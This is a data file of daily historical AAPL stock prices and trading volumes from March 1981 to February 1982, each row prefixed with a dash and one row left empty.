-1981-03-10,0.4040178656578064,0.4040178656578064,0.4017857015132904,0.4017857015132904,0.3191063106060028,7095200.0,AAPL
-1981-03-11,0.390625,0.390625,0.3861607015132904,0.3861607015132904,0.3066966235637665,7464800.0,AAPL
-1981-03-12,0.4017857015132904,0.4040178656578064,0.4017857015132904,0.4017857015132904,0.3191063106060028,14812000.0,AAPL
-1981-03-13,0.3995535671710968,0.3995535671710968,0.3973214328289032,0.3973214328289032,0.3155606985092163,57825600.0,AAPL
-1981-03-16,0.4129464328289032,0.4174107015132904,0.4129464328289032,0.4129464328289032,0.32797035574913025,9307200.0,AAPL
-1981-03-17,0.4330357015132904,0.4375,0.4330357015132904,0.4330357015132904,0.3439256548881531,10936800.0,AAPL
-1981-03-18,0.4598214328289032,0.4642857015132904,0.4598214328289032,0.4598214328289032,0.3651994466781616,9234400.0,AAPL
-1981-03-19,0.4575892984867096,0.4575892984867096,0.4553571343421936,0.4553571343421936,0.3616538643836975,9452800.0,AAPL
-1981-03-20,0.4598214328289032,0.4642857015132904,0.4598214328289032,0.4598214328289032,0.3651994466781616,3651200.0,AAPL
-1981-03-23,0.4776785671710968,0.4821428656578064,0.4776785671710968,0.4776785671710968,0.37938192486763,5504800.0,AAPL
-1981-03-24,0.4776785671710968,0.4776785671710968,0.4754464328289032,0.4754464328289032,0.37760916352272034,7039200.0,AAPL
-1981-03-25,0.4709821343421936,0.4709821343421936,0.4665178656578064,0.4665178656578064,0.3705179691314697,1764000.0,AAPL
-1981-03-26,0.4598214328289032,0.4598214328289032,0.4575892984867096,0.4575892984867096,0.3634265065193176,3068800.0,AAPL
-1981-03-27,0.4441964328289032,0.4441964328289032,0.4419642984867096,0.4419642984867096,0.35101693868637085,3063200.0,AAPL
-1981-03-30,0.4419642984867096,0.4464285671710968,0.4419642984867096,0.4419642984867096,0.35101693868637085,2475200.0,AAPL
-1981-03-31,0.4419642984867096,0.4419642984867096,0.4375,0.4375,0.34747135639190674,3998400.0,AAPL
-1981-04-01,0.4352678656578064,0.4352678656578064,0.4330357015132904,0.4330357015132904,0.3439256548881531,8517600.0,AAPL
-1981-04-02,0.4709821343421936,0.4732142984867096,0.4709821343421936,0.4709821343421936,0.37406352162361145,7851200.0,AAPL
-1981-04-03,0.4732142984867096,0.4754464328289032,0.4732142984867096,0.4732142984867096,0.3758363425731659,4121600.0,AAPL
-1981-04-06,0.4665178656578064,0.4665178656578064,0.4642857015132904,0.4642857015132904,0.3687450587749481,5700800.0,AAPL
-1981-04-07,0.4620535671710968,0.4620535671710968,0.4598214328289032,0.4598214328289032,0.3651994466781616,2671200.0,AAPL
-1981-04-08,0.4821428656578064,0.4866071343421936,0.4821428656578064,0.4821428656578064,0.38292765617370605,5488000.0,AAPL
-1981-04-09,0.4910714328289032,0.4933035671710968,0.4910714328289032,0.4910714328289032,0.39001888036727905,3124800.0,AAPL
-1981-04-10,0.4977678656578064,0.5,0.4977678656578064,0.4977678656578064,0.39533722400665283,8366400.0,AAPL
-1981-04-13,0.4977678656578064,0.5,0.4977678656578064,0.4977678656578064,0.39533722400665283,4015200.0,AAPL
-1981-04-14,0.4977678656578064,0.5,0.4977678656578064,0.4977678656578064,0.39533722400665283,1663200.0,AAPL
-1981-04-15,0.4754464328289032,0.4754464328289032,0.4732142984867096,0.4732142984867096,0.3758363425731659,8512000.0,AAPL
-1981-04-16,0.4486607015132904,0.4486607015132904,0.4464285671710968,0.4464285671710968,0.3545624911785126,5969600.0,AAPL
-1981-04-20,0.4598214328289032,0.4620535671710968,0.4598214328289032,0.4598214328289032,0.3651994466781616,8836800.0,AAPL
-1981-04-21,0.4910714328289032,0.4933035671710968,0.4910714328289032,0.4910714328289032,0.39001888036727905,7134400.0,AAPL
-1981-04-22,0.5089285969734192,0.5111607313156128,0.5089285969734192,0.5089285969734192,0.4042012393474579,4748800.0,AAPL
-1981-04-23,0.5223214030265808,0.5245535969734192,0.5223214030265808,0.5223214030265808,0.4148382544517517,14504000.0,AAPL
-1981-04-24,0.5223214030265808,0.5223214030265808,0.5178571343421936,0.5178571343421936,0.4112926721572876,8764000.0,AAPL
-1981-04-27,0.515625,0.515625,0.5133928656578064,0.5133928656578064,0.4077470302581787,9632000.0,AAPL
-1981-04-28,0.5066964030265808,0.5066964030265808,0.5044642686843872,0.5044642686843872,0.40065574645996094,8047200.0,AAPL
-1981-04-29,0.5,0.5,0.4977678656578064,0.4977678656578064,0.39533722400665283,3410400.0,AAPL
-1981-04-30,0.5066964030265808,0.5111607313156128,0.5066964030265808,0.5066964030265808,0.402428537607193,3152800.0,AAPL
-1981-05-01,0.5066964030265808,0.5111607313156128,0.5066964030265808,0.5066964030265808,0.402428537607193,4138400.0,AAPL
-1981-05-04,0.5066964030265808,0.5066964030265808,0.5044642686843872,0.5044642686843872,0.40065574645996094,3612000.0,AAPL
-1981-05-05,0.5044642686843872,0.5044642686843872,0.5022321343421936,0.5022321343421936,0.3988828659057617,4384800.0,AAPL
-1981-05-06,0.4910714328289032,0.4910714328289032,0.4888392984867096,0.4888392984867096,0.3882460296154022,4737600.0,AAPL
-1981-05-07,0.4955357015132904,0.4977678656578064,0.4955357015132904,0.4955357015132904,0.3935643434524536,2340800.0,AAPL
-1981-05-08,0.5,0.5022321343421936,0.5,0.5,0.39711010456085205,1976800.0,AAPL
-1981-05-11,0.4910714328289032,0.4910714328289032,0.4888392984867096,0.4888392984867096,0.3882460296154022,2984800.0,AAPL
-1981-05-12,0.4888392984867096,0.4955357015132904,0.4888392984867096,0.4888392984867096,0.3882460296154022,1064000.0,AAPL
-1981-05-13,0.4888392984867096,0.4933035671710968,0.4866071343421936,0.4866071343421936,0.3864732086658478,1226400.0,AAPL
-1981-05-14,0.484375,0.484375,0.4799107015132904,0.4799107015132904,0.3811548054218292,1232000.0,AAPL
-1981-05-15,0.4910714328289032,0.4977678656578064,0.4910714328289032,0.4910714328289032,0.39001888036727905,1226400.0,AAPL
-1981-05-18,0.5,0.5044642686843872,0.5,0.5,0.39711010456085205,1041600.0,AAPL
-1981-05-19,0.4933035671710968,0.4933035671710968,0.4910714328289032,0.4910714328289032,0.39001888036727905,6356000.0,AAPL
-1981-05-20,0.5066964030265808,0.5111607313156128,0.5066964030265808,0.5066964030265808,0.402428537607193,3320800.0,AAPL
-1981-05-21,0.5357142686843872,0.5379464030265808,0.5357142686843872,0.5357142686843872,0.4254750907421112,8052800.0,AAPL
-1981-05-22,0.5602678656578064,0.5647321343421936,0.5602678656578064,0.5602678656578064,0.44497600197792053,7856800.0,AAPL
-1981-05-26,0.5602678656578064,0.5602678656578064,0.5580357313156128,0.5580357313156128,0.4432031214237213,21336000.0,AAPL
-1981-05-27,0.5892857313156128,0.5915178656578064,0.5892857313156128,0.5892857313156128,0.46802276372909546,37374400.0,AAPL
-1981-05-28,0.5892857313156128,0.5915178656578064,0.5892857313156128,0.5892857313156128,0.46802276372909546,18496800.0,AAPL
-1981-05-29,0.5915178656578064,0.59375,0.5915178656578064,0.5915178656578064,0.469795286655426,14845600.0,AAPL
-1981-06-01,0.5915178656578064,0.59375,0.5915178656578064,0.5915178656578064,0.469795286655426,12812800.0,AAPL
-1981-06-02,0.5647321343421936,0.5647321343421936,0.5625,0.5625,0.4467487037181854,10108000.0,AAPL
-1981-06-03,0.5625,0.5669642686843872,0.5625,0.5625,0.4467487037181854,9861600.0,AAPL
-1981-06-04,0.5736607313156128,0.5758928656578064,0.5736607313156128,0.5736607313156128,0.45561301708221436,14016800.0,AAPL
-1981-06-05,0.5669642686843872,0.5669642686843872,0.5647321343421936,0.5647321343421936,0.4485216736793518,14420000.0,AAPL
-1981-06-08,0.546875,0.546875,0.5446428656578064,0.5446428656578064,0.4325663149356842,23374400.0,AAPL
-1981-06-09,0.5558035969734192,0.5580357313156128,0.5558035969734192,0.5558035969734192,0.4414304792881012,29898400.0,AAPL
-1981-06-10,0.5625,0.5691964030265808,0.5625,0.5625,0.4467487037181854,6305600.0,AAPL
-1981-06-11,0.5870535969734192,0.5892857313156128,0.5870535969734192,0.5870535969734192,0.46624982357025146,9744000.0,AAPL
-1981-06-12,0.5825892686843872,0.5825892686843872,0.5803571343421936,0.5803571343421936,0.4609312117099762,6451200.0,AAPL
-1981-06-15,0.5803571343421936,0.5803571343421936,0.578125,0.578125,0.45915842056274414,35940800.0,AAPL
-1981-06-16,0.5691964030265808,0.5691964030265808,0.5669642686843872,0.5669642686843872,0.4502944052219391,9312800.0,AAPL
-1981-06-17,0.5602678656578064,0.5602678656578064,0.5580357313156128,0.5580357313156128,0.4432031214237213,6893600.0,AAPL
-1981-06-18,0.5580357313156128,0.5602678656578064,0.5558035969734192,0.5558035969734192,0.4414304792881012,5762400.0,AAPL
-1981-06-19,0.5424107313156128,0.5424107313156128,0.5401785969734192,0.5401785969734192,0.42902064323425293,6876800.0,AAPL
-1981-06-22,0.5223214030265808,0.5223214030265808,0.5200892686843872,0.5200892686843872,0.4130654036998749,2710400.0,AAPL
-1981-06-23,0.5290178656578064,0.5334821343421936,0.5290178656578064,0.5290178656578064,0.4201566278934479,3757600.0,AAPL
-1981-06-24,0.5200892686843872,0.5200892686843872,0.515625,0.515625,0.4095197916030884,5756800.0,AAPL
-1981-06-25,0.5267857313156128,0.5290178656578064,0.5267857313156128,0.5267857313156128,0.41838377714157104,6064800.0,AAPL
-1981-06-26,0.5245535969734192,0.5245535969734192,0.5200892686843872,0.5200892686843872,0.4130654036998749,5947200.0,AAPL
-1981-06-29,0.5066964030265808,0.5066964030265808,0.5022321343421936,0.5022321343421936,0.3988828659057617,2648800.0,AAPL
-1981-06-30,0.4665178656578064,0.4665178656578064,0.4642857015132904,0.4642857015132904,0.3687450587749481,8976800.0,AAPL
-1981-07-01,0.4620535671710968,0.4620535671710968,0.4598214328289032,0.4598214328289032,0.3651994466781616,42616000.0,AAPL
-1981-07-02,0.4598214328289032,0.4620535671710968,0.4598214328289032,0.4598214328289032,0.3651994466781616,7571200.0,AAPL
-1981-07-06,0.4486607015132904,0.4486607015132904,0.4441964328289032,0.4441964328289032,0.3527897894382477,4132800.0,AAPL
-1981-07-07,0.4486607015132904,0.453125,0.4486607015132904,0.4486607015132904,0.35633549094200134,3959200.0,AAPL
-1981-07-08,0.4665178656578064,0.46875,0.4665178656578064,0.4665178656578064,0.3705179691314697,4155200.0,AAPL
-1981-07-09,0.4330357015132904,0.4330357015132904,0.4308035671710968,0.4308035671710968,0.3421529233455658,8220800.0,AAPL
-1981-07-10,0.3995535671710968,0.3995535671710968,0.3973214328289032,0.3973214328289032,0.3155606985092163,13792800.0,AAPL
-1981-07-13,0.40625,0.4084821343421936,0.40625,0.40625,0.3226518929004669,11435200.0,AAPL
-1981-07-14,0.4241071343421936,0.4285714328289032,0.4241071343421936,0.4241071343421936,0.33683446049690247,4944800.0,AAPL
-1981-07-15,0.4352678656578064,0.4375,0.4352678656578064,0.4352678656578064,0.3456985056400299,2738400.0,AAPL
-1981-07-16,0.4464285671710968,0.4508928656578064,0.4464285671710968,0.4464285671710968,0.3545624911785126,3808000.0,AAPL
-1981-07-17,0.4620535671710968,0.4642857015132904,0.4620535671710968,0.4620535671710968,0.3669722080230713,4956000.0,AAPL
-1981-07-20,0.4330357015132904,0.4330357015132904,0.4308035671710968,0.4308035671710968,0.3421529233455658,5913600.0,AAPL
-1981-07-21,0.4308035671710968,0.4308035671710968,0.4285714328289032,0.4285714328289032,0.3403799831867218,7985600.0,AAPL
-1981-07-22,0.4084821343421936,0.4084821343421936,0.4040178656578064,0.4040178656578064,0.32087913155555725,5667200.0,AAPL
-1981-07-23,0.4151785671710968,0.4174107015132904,0.4151785671710968,0.4151785671710968,0.3297431766986847,8612800.0,AAPL
-1981-07-24,0.4285714328289032,0.4308035671710968,0.4285714328289032,0.4285714328289032,0.3403799831867218,7212800.0,AAPL
-1981-07-27,0.4464285671710968,0.4486607015132904,0.4464285671710968,0.4464285671710968,0.3545624911785126,4334400.0,AAPL
-1981-07-28,0.4330357015132904,0.4330357015132904,0.4308035671710968,0.4308035671710968,0.3421529233455658,5712000.0,AAPL
-1981-07-29,0.4263392984867096,0.4263392984867096,0.4241071343421936,0.4241071343421936,0.33683446049690247,3875200.0,AAPL
-1981-07-30,0.4397321343421936,0.4441964328289032,0.4397321343421936,0.4397321343421936,0.34924399852752686,2475200.0,AAPL
-1981-07-31,0.4464285671710968,0.4486607015132904,0.4464285671710968,0.4464285671710968,0.3545624911785126,2738400.0,AAPL
-1981-08-03,0.4464285671710968,0.4464285671710968,0.4419642984867096,0.4419642984867096,0.35101693868637085,3108000.0,AAPL
-1981-08-04,0.4486607015132904,0.4508928656578064,0.4486607015132904,0.4486607015132904,0.35633549094200134,7918400.0,AAPL
-1981-08-05,0.4620535671710968,0.4642857015132904,0.4620535671710968,0.4620535671710968,0.3669722080230713,4373600.0,AAPL
-1981-08-06,0.453125,0.453125,0.4508928656578064,0.4508928656578064,0.3581082224845886,2632000.0,AAPL
-1981-08-07,0.4508928656578064,0.453125,0.4508928656578064,0.4508928656578064,0.3581082224845886,2301600.0,AAPL
-1981-08-10,,,,,,,AAPL
-1981-08-11,0.4419642984867096,0.4419642984867096,0.4375,0.4375,0.34747135639190674,17864000.0,AAPL
-1981-08-12,0.4308035671710968,0.4308035671710968,0.4285714328289032,0.4285714328289032,0.3403799831867218,6568800.0,AAPL
-1981-08-13,0.4174107015132904,0.4174107015132904,0.4151785671710968,0.4151785671710968,0.3297431766986847,6871200.0,AAPL
-1981-08-14,0.4129464328289032,0.4129464328289032,0.4084821343421936,0.4084821343421936,0.32442471385002136,6048000.0,AAPL
-1981-08-17,0.3995535671710968,0.3995535671710968,0.3950892984867096,0.3950892984867096,0.31378787755966187,4726400.0,AAPL
-1981-08-18,0.390625,0.390625,0.3861607015132904,0.3861607015132904,0.3066966235637665,4250400.0,AAPL
-1981-08-19,0.3861607015132904,0.3861607015132904,0.3816964328289032,0.3816964328289032,0.30315104126930237,5168800.0,AAPL
-1981-08-20,0.3861607015132904,0.3883928656578064,0.3861607015132904,0.3861607015132904,0.3066966235637665,4278400.0,AAPL
-1981-08-21,0.3638392984867096,0.3638392984867096,0.359375,0.359375,0.28542283177375793,10477600.0,AAPL
-1981-08-24,0.3392857015132904,0.3392857015132904,0.3370535671710968,0.3370535671710968,0.2676945626735687,5768000.0,AAPL
-1981-08-25,0.3459821343421936,0.3482142984867096,0.3459821343421936,0.3459821343421936,0.27478593587875366,10175200.0,AAPL
-1981-08-26,0.3415178656578064,0.3415178656578064,0.3392857015132904,0.3392857015132904,0.26946747303009033,8400000.0,AAPL
-1981-08-27,0.3415178656578064,0.34375,0.3415178656578064,0.3415178656578064,0.27124035358428955,6479200.0,AAPL
-1981-08-28,0.359375,0.3616071343421936,0.359375,0.359375,0.28542283177375793,9508800.0,AAPL
-1981-08-31,0.359375,0.3616071343421936,0.359375,0.359375,0.28542283177375793,10236800.0,AAPL
-1981-09-01,0.3816964328289032,0.3839285671710968,0.3816964328289032,0.3816964328289032,0.30315104126930237,9256800.0,AAPL
-1981-09-02,0.3883928656578064,0.390625,0.3883928656578064,0.3883928656578064,0.3084695041179657,4844000.0,AAPL
-1981-09-03,0.3727678656578064,0.3727678656578064,0.3683035671710968,0.3683035671710968,0.29251402616500854,9368800.0,AAPL
-1981-09-04,0.3660714328289032,0.3660714328289032,0.3638392984867096,0.3638392984867096,0.2889685332775116,3813600.0,AAPL
-1981-09-08,0.3549107015132904,0.3549107015132904,0.3526785671710968,0.3526785671710968,0.2801044285297394,6361600.0,AAPL
-1981-09-09,0.3526785671710968,0.3549107015132904,0.3526785671710968,0.3526785671710968,0.2801044285297394,7632800.0,AAPL
-1981-09-10,0.3549107015132904,0.3571428656578064,0.3549107015132904,0.3549107015132904,0.2818772792816162,8702400.0,AAPL
-1981-09-11,0.3526785671710968,0.3526785671710968,0.3504464328289032,0.3504464328289032,0.2783316671848297,4384800.0,AAPL
-1981-09-14,0.3415178656578064,0.3415178656578064,0.3392857015132904,0.3392857015132904,0.26946747303009033,6921600.0,AAPL
-1981-09-15,0.3325892984867096,0.3325892984867096,0.3303571343421936,0.3303571343421936,0.26237624883651733,4877600.0,AAPL
-1981-09-16,0.3258928656578064,0.3258928656578064,0.3236607015132904,0.3236607015132904,0.25705787539482117,4838400.0,AAPL
-1981-09-17,0.3169642984867096,0.3169642984867096,0.3147321343421936,0.3147321343421936,0.249966561794281,4844000.0,AAPL
-1981-09-18,0.3169642984867096,0.3191964328289032,0.3169642984867096,0.3169642984867096,0.251739501953125,6580000.0,AAPL
-1981-09-21,0.3191964328289032,0.3214285671710968,0.3191964328289032,0.3191964328289032,0.25351229310035706,12258400.0,AAPL
-1981-09-22,0.3035714328289032,0.3035714328289032,0.3013392984867096,0.3013392984867096,0.23932971060276031,11855200.0,AAPL
-1981-09-23,0.2991071343421936,0.2991071343421936,0.2946428656578064,0.2946428656578064,0.23401138186454773,7050400.0,AAPL
-1981-09-24,0.2946428656578064,0.2946428656578064,0.2924107015132904,0.2924107015132904,0.23223842680454254,4575200.0,AAPL
-1981-09-25,0.2589285671710968,0.2589285671710968,0.2544642984867096,0.2544642984867096,0.20210061967372894,8652000.0,AAPL
-1981-09-28,0.2566964328289032,0.2589285671710968,0.2566964328289032,0.2566964328289032,0.20387351512908936,22932000.0,AAPL
-1981-09-29,0.2700892984867096,0.2723214328289032,0.2700892984867096,0.2700892984867096,0.21451032161712646,23671200.0,AAPL
-1981-09-30,0.2723214328289032,0.2745535671710968,0.2723214328289032,0.2723214328289032,0.2162831574678421,12499200.0,AAPL
-1981-10-01,0.2723214328289032,0.2745535671710968,0.2723214328289032,0.2723214328289032,0.2162831574678421,15282400.0,AAPL
-1981-10-02,0.2946428656578064,0.296875,0.2946428656578064,0.2946428656578064,0.23401138186454773,11261600.0,AAPL
-1981-10-05,0.3035714328289032,0.3080357015132904,0.3035714328289032,0.3035714328289032,0.24110259115695953,10774400.0,AAPL
-1981-10-06,0.3035714328289032,0.3035714328289032,0.3013392984867096,0.3013392984867096,0.23932971060276031,7089600.0,AAPL
-1981-10-07,0.3191964328289032,0.3236607015132904,0.3191964328289032,0.3191964328289032,0.25351229310035706,9710400.0,AAPL
-1981-10-08,0.3303571343421936,0.3325892984867096,0.3303571343421936,0.3303571343421936,0.26237624883651733,7772800.0,AAPL
-1981-10-09,0.3325892984867096,0.3370535671710968,0.3325892984867096,0.3325892984867096,0.26414918899536133,13630400.0,AAPL
-1981-10-12,0.34375,0.3459821343421936,0.34375,0.34375,0.2730131149291992,6837600.0,AAPL
-1981-10-13,0.34375,0.3482142984867096,0.34375,0.34375,0.2730131149291992,11048800.0,AAPL
-1981-10-14,0.3258928656578064,0.3258928656578064,0.3236607015132904,0.3236607015132904,0.25705787539482117,7744800.0,AAPL
-1981-10-15,0.3303571343421936,0.3325892984867096,0.3303571343421936,0.3303571343421936,0.26237624883651733,7358400.0,AAPL
-1981-10-16,0.328125,0.328125,0.3258928656578064,0.3258928656578064,0.2588306963443756,9116800.0,AAPL
-1981-10-19,0.3325892984867096,0.3348214328289032,0.3325892984867096,0.3325892984867096,0.26414918899536133,5146400.0,AAPL
-1981-10-20,0.3504464328289032,0.3526785671710968,0.3504464328289032,0.3504464328289032,0.2783316671848297,8932000.0,AAPL
-1981-10-21,0.3504464328289032,0.3526785671710968,0.3504464328289032,0.3504464328289032,0.2783316671848297,19224800.0,AAPL
-1981-10-22,0.3504464328289032,0.3504464328289032,0.3482142984867096,0.3482142984867096,0.27655884623527527,8069600.0,AAPL
-1981-10-23,0.3415178656578064,0.3415178656578064,0.3392857015132904,0.3392857015132904,0.26946747303009033,6977600.0,AAPL
-1981-10-26,0.3392857015132904,0.3415178656578064,0.3392857015132904,0.3392857015132904,0.26946747303009033,6820800.0,AAPL
-1981-10-27,0.3459821343421936,0.3504464328289032,0.3459821343421936,0.3459821343421936,0.27478593587875366,21397600.0,AAPL
-1981-10-28,0.3571428656578064,0.359375,0.3571428656578064,0.3571428656578064,0.28365007042884827,11043200.0,AAPL
-1981-10-29,0.3549107015132904,0.3549107015132904,0.3526785671710968,0.3526785671710968,0.2801044285297394,7621600.0,AAPL
-1981-10-30,0.3571428656578064,0.359375,0.3571428656578064,0.3571428656578064,0.28365007042884827,13182400.0,AAPL
-1981-11-02,0.3571428656578064,0.359375,0.3571428656578064,0.3571428656578064,0.28365007042884827,9228800.0,AAPL
-1981-11-03,0.3549107015132904,0.3549107015132904,0.3526785671710968,0.3526785671710968,0.2801044285297394,7095200.0,AAPL
-1981-11-04,0.3459821343421936,0.3459821343421936,0.34375,0.34375,0.2730131149291992,5952800.0,AAPL
-1981-11-05,0.3214285671710968,0.3214285671710968,0.3191964328289032,0.3191964328289032,0.25351229310035706,5840800.0,AAPL
-1981-11-06,0.3214285671710968,0.3236607015132904,0.3214285671710968,0.3214285671710968,0.25528502464294434,6148800.0,AAPL
-1981-11-09,0.3258928656578064,0.328125,0.3258928656578064,0.3258928656578064,0.2588306963443756,5096000.0,AAPL
-1981-11-10,0.328125,0.3303571343421936,0.328125,0.328125,0.26060351729393005,4188800.0,AAPL
-1981-11-11,0.3370535671710968,0.3392857015132904,0.3370535671710968,0.3370535671710968,0.2676945626735687,6860000.0,AAPL
-1981-11-12,0.3482142984867096,0.3504464328289032,0.3482142984867096,0.3482142984867096,0.27655884623527527,9979200.0,AAPL
-1981-11-13,0.3258928656578064,0.3258928656578064,0.3236607015132904,0.3236607015132904,0.25705787539482117,5252800.0,AAPL
-1981-11-16,0.3214285671710968,0.3214285671710968,0.3191964328289032,0.3191964328289032,0.25351229310035706,5639200.0,AAPL
-1981-11-17,0.3258928656578064,0.328125,0.3258928656578064,0.3258928656578064,0.2588306963443756,8853600.0,AAPL
-1981-11-18,0.3370535671710968,0.3392857015132904,0.3370535671710968,0.3370535671710968,0.2676945626735687,7285600.0,AAPL
-1981-11-19,0.3370535671710968,0.3392857015132904,0.3370535671710968,0.3370535671710968,0.2676945626735687,10001600.0,AAPL
-1981-11-20,0.3392857015132904,0.3415178656578064,0.3392857015132904,0.3392857015132904,0.26946747303009033,9525600.0,AAPL
-1981-11-23,0.328125,0.328125,0.3236607015132904,0.3236607015132904,0.25705787539482117,5740000.0,AAPL
-1981-11-24,0.3236607015132904,0.3236607015132904,0.3214285671710968,0.3214285671710968,0.25528502464294434,5538400.0,AAPL
-1981-11-25,0.328125,0.3303571343421936,0.328125,0.328125,0.26060351729393005,13137600.0,AAPL
-1981-11-27,0.3370535671710968,0.3392857015132904,0.3370535671710968,0.3370535671710968,0.2676945626735687,9312800.0,AAPL
-1981-11-30,0.3348214328289032,0.3348214328289032,0.3325892984867096,0.3325892984867096,0.26414918899536133,5992000.0,AAPL
-1981-12-01,0.3325892984867096,0.3348214328289032,0.3325892984867096,0.3325892984867096,0.26414918899536133,5846400.0,AAPL
-1981-12-02,0.3348214328289032,0.3370535671710968,0.3348214328289032,0.3348214328289032,0.2659218907356262,9391200.0,AAPL
-1981-12-03,0.3325892984867096,0.3325892984867096,0.3303571343421936,0.3303571343421936,0.26237624883651733,5107200.0,AAPL
-1981-12-04,0.3392857015132904,0.3415178656578064,0.3392857015132904,0.3392857015132904,0.26946747303009033,34288800.0,AAPL
-1981-12-07,0.3415178656578064,0.34375,0.3415178656578064,0.3415178656578064,0.27124035358428955,14823200.0,AAPL
-1981-12-08,0.3392857015132904,0.3392857015132904,0.3348214328289032,0.3348214328289032,0.2659218907356262,12656000.0,AAPL
-1981-12-09,0.3370535671710968,0.3392857015132904,0.3370535671710968,0.3370535671710968,0.2676945626735687,8568000.0,AAPL
-1981-12-10,0.3370535671710968,0.3392857015132904,0.3370535671710968,0.3370535671710968,0.2676945626735687,9352000.0,AAPL
-1981-12-11,0.3370535671710968,0.3392857015132904,0.3348214328289032,0.3348214328289032,0.2659218907356262,19023200.0,AAPL
-1981-12-14,0.328125,0.328125,0.3236607015132904,0.3236607015132904,0.25705787539482117,6311200.0,AAPL
-1981-12-15,0.3325892984867096,0.3348214328289032,0.3325892984867096,0.3325892984867096,0.26414918899536133,7828800.0,AAPL
-1981-12-16,0.3482142984867096,0.3504464328289032,0.3482142984867096,0.3482142984867096,0.27655884623527527,16363200.0,AAPL
-1981-12-17,0.3772321343421936,0.3794642984867096,0.3772321343421936,0.3772321343421936,0.2996053695678711,12863200.0,AAPL
-1981-12-18,0.4084821343421936,0.4107142984867096,0.4084821343421936,0.4084821343421936,0.32442471385002136,17931200.0,AAPL
-1981-12-21,0.3928571343421936,0.3928571343421936,0.390625,0.390625,0.31024226546287537,14100800.0,AAPL
-1981-12-22,0.3973214328289032,0.3995535671710968,0.3973214328289032,0.3973214328289032,0.3155606985092163,13456800.0,AAPL
-1981-12-23,0.390625,0.390625,0.3883928656578064,0.3883928656578064,0.3084695041179657,7224000.0,AAPL
-1981-12-24,0.390625,0.3928571343421936,0.390625,0.390625,0.31024226546287537,7229600.0,AAPL
-1981-12-28,0.3772321343421936,0.3772321343421936,0.3727678656578064,0.3727678656578064,0.2960597574710846,9144800.0,AAPL
-1981-12-29,0.3794642984867096,0.3839285671710968,0.3794642984867096,0.3794642984867096,0.3013782501220703,6059200.0,AAPL
-1981-12-30,0.3950892984867096,0.3973214328289032,0.3950892984867096,0.3950892984867096,0.31378787755966187,8047200.0,AAPL
-1981-12-31,0.3950892984867096,0.3973214328289032,0.3950892984867096,0.3950892984867096,0.31378787755966187,13664000.0,AAPL
-1982-01-04,0.3950892984867096,0.3950892984867096,0.3928571343421936,0.3928571343421936,0.3120151162147522,17813600.0,AAPL
-1982-01-05,0.3772321343421936,0.3772321343421936,0.3727678656578064,0.3727678656578064,0.2960597574710846,8960000.0,AAPL
-1982-01-06,0.3705357015132904,0.3705357015132904,0.3683035671710968,0.3683035671710968,0.29251402616500854,16520000.0,AAPL
-1982-01-07,0.34375,0.34375,0.3392857015132904,0.3392857015132904,0.26946747303009033,17511200.0,AAPL
-1982-01-08,0.3549107015132904,0.3571428656578064,0.3549107015132904,0.3549107015132904,0.2818772792816162,14151200.0,AAPL
-1982-01-11,0.3348214328289032,0.3348214328289032,0.3325892984867096,0.3325892984867096,0.26414918899536133,8332800.0,AAPL
-1982-01-12,0.3236607015132904,0.3236607015132904,0.3214285671710968,0.3214285671710968,0.25528502464294434,14980000.0,AAPL
-1982-01-13,0.3214285671710968,0.3214285671710968,0.3191964328289032,0.3191964328289032,0.25351229310035706,10438400.0,AAPL
-1982-01-14,0.3348214328289032,0.3370535671710968,0.3348214328289032,0.3348214328289032,0.2659218907356262,6428800.0,AAPL
-1982-01-15,0.3571428656578064,0.3616071343421936,0.3571428656578064,0.3571428656578064,0.28365007042884827,11676000.0,AAPL
-1982-01-18,0.3638392984867096,0.3683035671710968,0.3638392984867096,0.3638392984867096,0.2889685332775116,7000000.0,AAPL
-1982-01-19,0.359375,0.359375,0.3549107015132904,0.3549107015132904,0.2818772792816162,13876800.0,AAPL
-1982-01-20,0.3616071343421936,0.3638392984867096,0.3616071343421936,0.3616071343421936,0.2871958017349243,6456800.0,AAPL
-1982-01-21,0.3683035671710968,0.3705357015132904,0.3683035671710968,0.3683035671710968,0.29251402616500854,8332800.0,AAPL
-1982-01-22,0.3705357015132904,0.3727678656578064,0.3705357015132904,0.3705357015132904,0.29428690671920776,6064800.0,AAPL
-1982-01-25,0.3616071343421936,0.3616071343421936,0.359375,0.359375,0.28542283177375793,11177600.0,AAPL
-1982-01-26,0.3504464328289032,0.3504464328289032,0.3459821343421936,0.3459821343421936,0.27478593587875366,5303200.0,AAPL
-1982-01-27,0.3482142984867096,0.3526785671710968,0.3482142984867096,0.3482142984867096,0.27655884623527527,7840000.0,AAPL
-1982-01-28,0.359375,0.3616071343421936,0.359375,0.359375,0.28542283177375793,9900800.0,AAPL
-1982-01-29,0.3638392984867096,0.3660714328289032,0.3638392984867096,0.3638392984867096,0.2889685332775116,13288800.0,AAPL
-1982-02-01,0.3638392984867096,0.3638392984867096,0.359375,0.359375,0.28542283177375793,9632000.0,AAPL
-1982-02-02,0.3616071343421936,0.3660714328289032,0.3616071343421936,0.3616071343421936,0.2871958017349243,13568800.0,AAPL
-1982-02-03,0.3616071343421936,0.3638392984867096,0.3616071343421936,0.3616071343421936,0.2871958017349243,7868000.0,AAPL
-1982-02-04,0.3549107015132904,0.3549107015132904,0.3526785671710968,0.3526785671710968,0.2801044285297394,5510400.0,AAPL
-1982-02-05,0.3526785671710968,0.3549107015132904,0.3526785671710968,0.3526785671710968,0.2801044285297394,10074400.0,AAPL
-1982-02-08,0.3325892984867096,0.3325892984867096,0.3303571343421936,0.3303571343421936,0.26237624883651733,7924000.0,AAPL
-1982-02-09,0.3303571343421936,0.3325892984867096,0.3303571343421936,0.3303571343421936,0.26237624883651733,14476000.0,AAPL
-1982-02-10,0.3348214328289032,0.3370535671710968,0.3348214328289032,0.3348214328289032,0.2659218907356262,9699200.0,AAPL
-1982-02-11,0.3325892984867096,0.3325892984867096,0.3303571343421936,0.3303571343421936,0.26237624883651733,6132000.0,AAPL
-1982-02-12,0.3348214328289032,0.3370535671710968,0.3348214328289032,0.3348214328289032,0.2659218907356262,4911200.0,AAPL
-1982-02-16,0.3303571343421936,0.3303571343421936,0.328125,0.328125,0.26060351729393005,8579200.0,AAPL
-1982-02-17,0.3325892984867096,0.3348214328289032,0.3325892984867096,0.3325892984867096,0.26414918899536133,6395200.0,AAPL
-1982-02-18,0.3370535671710968,0.3392857015132904,0.3370535671710968,0.3370535671710968,0.2676945626735687,7095200.0,AAPL
-1982-02-19,0.3370535671710968,0.3370535671710968,0.3348214328289032,0.3348214328289032,0.2659218907356262,3399200.0,AAPL
-1982-02-22,0.3325892984867096,0.3325892984867096,0.3303571343421936,0.3303571343421936,0.26237624883651733,6658400.0,AAPL
